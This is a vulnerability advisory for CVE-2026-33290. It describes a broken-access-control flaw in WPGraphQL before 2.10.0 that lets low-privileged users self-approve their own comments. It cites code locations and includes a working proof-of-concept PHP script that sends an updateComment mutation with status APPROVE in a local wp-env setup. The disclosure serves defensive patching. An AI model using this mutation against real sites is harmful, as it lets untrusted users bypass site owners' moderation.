CVE-2026-33290
Severity CVSS v4.0:
Pending analysis
Type:
Unavailable / Other
Publication date:
24/03/2026
Last modified:
24/03/2026
Description
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.<br />
<br />
### Details<br />
<br />
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:<br />
<br />
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.<br />
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.<br />
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.<br />
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.<br />
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).<br />
<br />
This means a non-moderator owner can submit status during update and transition moderation state.<br />
<br />
### PoC<br />
<br />
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.<br />
<br />
1. Start environment:<br />
<br />
npm install<br />
npm run wp-env start<br />
<br />
2. Run this PoC:<br />
<br />
```<br />
npm run wp-env run cli -- wp eval &#39;<br />
add_role("no_caps","No Caps",[]);<br />
$user_id = username_exists("poc_nocaps");<br />
if ( ! $user_id ) {<br />
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");<br />
}<br />
$user = get_user_by("id",$user_id);<br />
$user->set_role("no_caps");<br />
<br />
$post_id = wp_insert_post([<br />
"post_title" => "PoC post",<br />
"post_status" => "publish",<br />
"post_type" => "post",<br />
"comment_status" => "open",<br />
]);<br />
<br />
$comment_id = wp_insert_comment([<br />
"comment_post_ID" => $post_id,<br />
"comment_content" => "pending comment",<br />
"user_id" => $user_id,<br />
"comment_author" => $user->display_name,<br />
"comment_author_email" => $user->user_email,<br />
"comment_approved" => "0",<br />
]);<br />
<br />
wp_set_current_user($user_id);<br />
<br />
$result = graphql([<br />
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",<br />
"variables" => [ "id" => (string)$comment_id ],<br />
]);<br />
<br />
echo wp_json_encode([<br />
"role_caps" => array_keys(array_filter((array)$user->allcaps)),<br />
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,<br />
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,<br />
"comment_id" => $comment_id<br />
]);<br />
&#39;<br />
```<br />
<br />
3. Observe result:<br />
<br />
- role_caps is empty (or no moderate_comments)<br />
- mutation returns status: APPROVE<br />
- DB value becomes comment_approved = 1<br />
<br />
### Impact<br />
<br />
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Impact
Base Score 3.x
4.30
Severity 3.x
MEDIUM



